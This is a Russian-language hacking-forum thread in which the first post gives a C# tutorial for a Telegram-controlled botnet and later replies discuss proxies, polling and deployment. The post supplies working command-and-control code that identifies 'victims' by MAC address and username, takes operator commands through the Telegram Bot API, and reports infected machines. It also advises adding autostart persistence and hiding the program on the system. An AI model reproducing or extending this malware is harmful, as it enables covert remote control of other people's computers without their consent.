• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Телеграм ботнет (пример)

Skrom

Участник
Сообщения
0
Реакции
33
0 руб.
Telegram
Добрый вечер. Решил и я написать статью для конкурса. В прочем и так уже долгое время не писал, по этому пора:-p.

Сегодня я вам покажу простой пример необычного ботнета. Почему необычного? Да просто потому что Панелью управления у нас будет служить телеграм.
Писать я буду без лишних библиотек, так как нам нужен маленький вес(единственное использую найденный мной класс), и использовать framework 3.5.
Давайте начнем. Идем в телеграм, находим @BotFather и создаем нашего бота. В конце нам выдадут токен, его то мы и сохраняем. Переходим непосредственно к кодингу.

Создаем консольный проект и объявляем переменные:
static string token = "546651652:AAGrDpQwN9uKqqwWk0nWzChRRfqT_31234"; // тут должен быть ваш токен который вам выдал BotFather.
static string UrlApiBot = "https://api.telegram.org/bot"; //адрес телеграм API к которому мы будем обращаться.
static int offset = 0; //учет просмотра обновлений.

Далее описываем две функции GET и GetMACAddress:
Код:
static string GET(string URL)
        {
                WebRequest req = WebRequest.Create(URL);
                WebResponse resp = req.GetResponse();
                Stream stream = resp.GetResponseStream();
                StreamReader sr = new StreamReader(stream);
                string OUT = sr.ReadToEnd();
                return OUT;
        }

Код:
        static string GetMACAddress()
        {
            NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces();
            String sMacAddress = string.Empty;
            foreach (NetworkInterface adapter in nics)
            {
                if (sMacAddress == String.Empty)
                {
                    IPInterfaceProperties properties = adapter.GetIPProperties();
                    sMacAddress = adapter.GetPhysicalAddress().ToString();
                }
            }
            return sMacAddress;
        }
GET - будет отправлять запрос на API.
GetMACAddress - узнает мак адрес данного ПК (нужно для того, чтобы идентифицировать жертву)

И так, чтобы наш идентификатор жертвы был уникальным давайте возьмем MAC адрес, имя юзера ПК и зашифруем в base64.
Для этого в main пишем следующий код:
Код:
            string appData = System.Environment.GetFolderPath(System.Environment.SpecialFolder.ApplicationData);
            var simpleTextBytes = Encoding.UTF8.GetBytes(GetMACAddress()+ System.Environment.UserName);
            string id= Convert.ToBase64String(simpleTextBytes);

Теперь у нас в переменной id хранится уникальный идентификатор.
создадим цикл while(true) и в теле пропишем:
Код:
string messages = GET(UrlApiBot + token + "/getUpdates?offset=" + (offset + 1));
                    var Json = JSON.Parse(messages);
                    foreach (JSONNode n in Json["result"].AsArray)
                    {
                        offset = n["update_id"].AsInt;

                        string msg = n["message"]["text"];
                        if (msg.IndexOf(id) > -1 || msg.IndexOf("All") > -1)
                        {
                            string[] comand = msg.Split(':');

                            switch (comand[0])
                            {
                                case "start":
                                    GET(UrlApiBot + token + "/sendMessage?" + "chat_id=" + n["message"]["chat"]["id"] + "&text=Я получил твое сообщение START");
                                    break;
                                case "go":
                                    GET(UrlApiBot + token + "/sendMessage?" + "chat_id=" + n["message"]["chat"]["id"] + "&text=Я получил твое сообщение GO");
                                    break;
                            }
                        }
                        if(msg == "online")
                        {
                            GET(UrlApiBot + token + "/sendMessage?" + "chat_id=" + n["message"]["chat"]["id"] + "&text="+ System.Environment.UserName + ": "+id);
                        }
                    }
                    Thread.Sleep(1000);
                }

Для парсинга JSON я использовал найденный мной класс SimpleJSON (не реклама). Но настоятельно рекомендую сделать десериализацию Json самим, или если не боитесь лишних .dll'ок то использовать Newtonsoft.Json.
Тут мы парсим наше сообщение если оно имело в тексте либо слово "All", либо наш идентификатор, либо строку "online".
Если есть совпадения то проверяем делим наше сообщение командой Split(':') на 2 переменные и вносим их в массив(немного позже поймете для чего это нужно).
Проверяем следующее условие в swich, если первый объект массива равен "start" или "go", то отсылаем нам соответствующее сообщение и имя пк.

Далее засыпаем на секунду (советую поставить минуту или 2) и повторяем все в цикле.

Еще есть один нюанс! Если мы запустим бота на нескольких ПК то у нас вылетит исключение, по этому обернем тело цикла в try catch и идем тестировать:
573d3dc900b2b566666a2195bfcfae3c.png

Таким образом мы можем отобразить всех жертв(online), дать команду всем жертвам ("команда":All), дать команду определенной жертве("команда":"идентификатор").
Все что осталось сделать - это добавить функционал боту, добавить в автозагрузку/планировщик задач и максимально скрыть его в системе.

Надеюсь статья кому-то будет полезной.
И на последок наглядный пример написания данного бота:
 

MRX[NA]

Местный
Сообщения
118
Реакции
78
0 руб.
Я запустил консольное приложение с этим кодом несколько раз и увидел что не ко всем приходят сообщения. Как это исправить?
 

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
все хорошо конечно, но все ресурсы телеграм в РФ например забанены и прямые запросы к API с ПК РФ пользователей невозможно, нужно делать переадресацию запроса, через какой нибудь свой промежуточный сервер.

p.s ну если только не по России работать и не по некоторым еще странам)
 

MRX[NA]

Местный
Сообщения
118
Реакции
78
0 руб.
все хорошо конечно, но все ресурсы телеграм в РФ например забанены и прямые запросы к API с ПК РФ пользователей невозможно, нужно делать переадресацию запроса, через какой нибудь свой промежуточный сервер.

p.s ну если только не по России работать и не по некоторым еще странам)
Так телега вроде работает же в России
 

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
Так телега вроде работает же в России
клиент для телефона да, пк версия да, покрайней мере если через билайн сидеть, но вот сами веб ресурсы недоступны, официальный сайт, сайт с АПИ, телеграф. И сам юзаю ВПН для отладки своих ботов.
 

MRX[NA]

Местный
Сообщения
118
Реакции
78
0 руб.
клиент для телефона да, пк версия да, покрайней мере если через билайн сидеть, но вот сами веб ресурсы недоступны, официальный сайт, сайт с АПИ, телеграф. И сам юзаю ВПН для отладки своих ботов.
А можно ли сделать подобное например для Discord?
 

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram

Reiko

Новичок
Сообщения
10
Реакции
0
0 руб.
Мануал интересный, спасибо) Действительно необычно. Едиснтвенное, что я недопонял - как бот сообщения получает? Это ж он должен, получается, приконнектиться к телеграму. А для этого нужен номер + код. Даже если всех ботов повесить на один номер, все равно для входа нужен код. Что я упустил?

все хорошо конечно, но все ресурсы телеграм в РФ например забанены и прямые запросы к API с ПК РФ пользователей невозможно, нужно делать переадресацию запроса, через какой нибудь свой промежуточный сервер.

p.s ну если только не по России работать и не по некоторым еще странам)
А прокси не канает?
 

Kerenor11

Участник
Сообщения
7
Реакции
2
0 руб.
Мануал интересный, спасибо) Действительно необычно. Едиснтвенное, что я недопонял - как бот сообщения получает? Это ж он должен, получается, приконнектиться к телеграму. А для этого нужен номер + код. Даже если всех ботов повесить на один номер, все равно для входа нужен код. Что я упустил?


А прокси не канает?
Если не понимаешь как ботнет работает с api телеги пересмотри видео там расказанно все до мелочей . На счет прокси ты прав можно использовать его для того что бы ребята из РФ могли обращаться к API телеги
 

Reiko

Новичок
Сообщения
10
Реакции
0
0 руб.
Если не понимаешь как ботнет работает с api телеги пересмотри видео там расказанно все до мелочей . На счет прокси ты прав можно использовать его для того что бы ребята из РФ могли обращаться к API телеги
Все, спасибо, видео глянул, вопрос отпал) Я че-то решил, что каждый отдельный экземпляр будет работать со своего акка, как в старой доброй IRC.

Тогда другой вопрос: а конфликтов не будет? Получается, что это один и тот же бот, просто запущен с разных машин. Они будут успевать ловить запросы?
И еще - мне кажется, изящнее было бы вместо
Код:
Thread.Sleep(1000);
перейти на длинные опросы (long polling) )
 

Kerenor11

Участник
Сообщения
7
Реакции
2
0 руб.
Все, спасибо, видео глянул, вопрос отпал) Я че-то решил, что каждый отдельный экземпляр будет работать со своего акка, как в старой доброй IRC.

Тогда другой вопрос: а конфликтов не будет? Получается, что это один и тот же бот, просто запущен с разных машин. Они будут успевать ловить запросы?
И еще - мне кажется, изящнее было бы вместо
Код:
Thread.Sleep(1000);
перейти на длинные опросы (long polling) )
Каждая жертва оброщается
Все, спасибо, видео глянул, вопрос отпал) Я че-то решил, что каждый отдельный экземпляр будет работать со своего акка, как в старой доброй IRC.

Тогда другой вопрос: а конфликтов не будет? Получается, что это один и тот же бот, просто запущен с разных машин. Они будут успевать ловить запросы?
И еще - мне кажется, изящнее было бы вместо
Код:
Thread.Sleep(1000);
перейти на длинные опросы (long polling) )
Конфликта не будет так как у каждой жертвы свой уникальный ID . Сам ботнет может отправлять запросы либо всем ботам сразу либо по уникальному ID. Я тестил все машины успешно принимают задания от ботнета
 
Последнее редактирование модератором:

Rezen91

Новичок
Сообщения
1
Реакции
0
0 руб.
скопировать то скопировал а функции добавить то не умею) где посоветуете инфу искать
 
Сверху Снизу